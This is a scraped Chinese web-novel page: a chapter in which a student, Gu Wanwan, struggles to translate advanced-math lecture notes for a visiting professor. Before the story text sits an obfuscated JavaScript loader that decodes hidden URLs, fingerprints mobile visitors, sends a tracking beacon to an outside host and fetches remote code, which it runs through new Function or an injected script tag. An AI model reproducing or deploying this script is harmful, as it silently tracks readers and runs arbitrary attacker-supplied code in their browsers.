足迹
慕夏夜司爵免费阅读全文大结局580
登录
关灯
护眼
字体:

第680章 翻译(第1页)

function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};

华国的人还是很多人觉得,看心理医生就是自己有神经病,对精神病的认识并不多。

她刚被父母带去看心理医生的时候也不敢跟人,怕别人用看怪物的眼神看她。

也许,慕夏现在就是这样吧。

想到这,何甜决定不去问了,到下车的时候,她像什么事都没发生一样,跟慕夏讨论着学习的事情。

慕夏心不在焉地回答着,何甜也故作正常,两个人很快回了教室。

……

教师楼。

顾绾绾望着堆了慢慢一堆的教案,额头上冒出了豆大的汗珠。

刚才她觉得翻译一下教案没什么难的,所以把活都从几个高数老师那边大包大揽了下来。

结果一个多小时过去了,她就勉强翻译出了一堂课,而且翻译地还很生涩,连她自己都觉得生涩的那种。

那边哈伦教授在跟几个高数教授聊的热火朝天,顾绾绾却仿佛跌到了冰窟。

因为她发现第二堂课的教案她根本翻译不出来。

有符号还好说,符号是国际通用的,但这一篇满满的讲义用的都是华文,而且就连华文都曲折难懂,这让她怎么翻译?

汗水顺着脸庞往下落,滴到了键盘上。

一时间,她不知道是她能力不足,还是教案太难。

但让她承认自己能力不足是不可能的,一定是教案太难了。

不管是她还是慕夏,都不可能有这个能力完美地翻译出来,毕竟这翻译的可不是日常对话,而是高数的教案。

宋老师和欧阳老师都有点太高估她们了。

恰好在这时候,有个老师端着杯水走过来询问道:“顾同学,翻译地怎么样了?”

顾绾绾下意识侧过身子挡住电脑屏幕,僵笑着道:“还在翻译,可能速度有点慢。”

“没事。”那老师笑道:“准确度比速度重要,哈伦老师要在这里呆两天,你只要两天内翻译完就行了。这几天耽误的课之后你找各科老师周末补上,你们欧阳老师都打过招呼了,你放心翻译就行。”

顾绾绾听到这话,忽得想到了一个主意,她起身问:“老师,我能把教案带到图书馆翻译吗?在图书馆我更容易专注。”

“当然可以,这不是什么机密,那你跟我过去跟哈伦老师说一声。”

“好的,谢谢老师。”顾绾绾站起身,跟那位老师朝哈伦教授走过去。

哈伦教授得知顾绾绾要回家去翻译,也没什么意见,只道:“尽力就好,翻译不出来的就找你们学校的英文老师,他们的英文水平还是不错的。”

顾绾绾却是摇了摇头,说:“哈伦教授,我可以的,这是一个很好的锻炼机会,我想自己独立完成,完成之后再由老师们帮我检查。”

哈伦教授看顾绾绾的眼神终于多了一分赞赏。

“那你去吧,我也想自己到处逛逛,听说你们华国的美食无数,我打算都去尝尝。”

顾绾绾自告奋勇:“那等翻译结束后,我带您去吧,我知道很多好吃的。”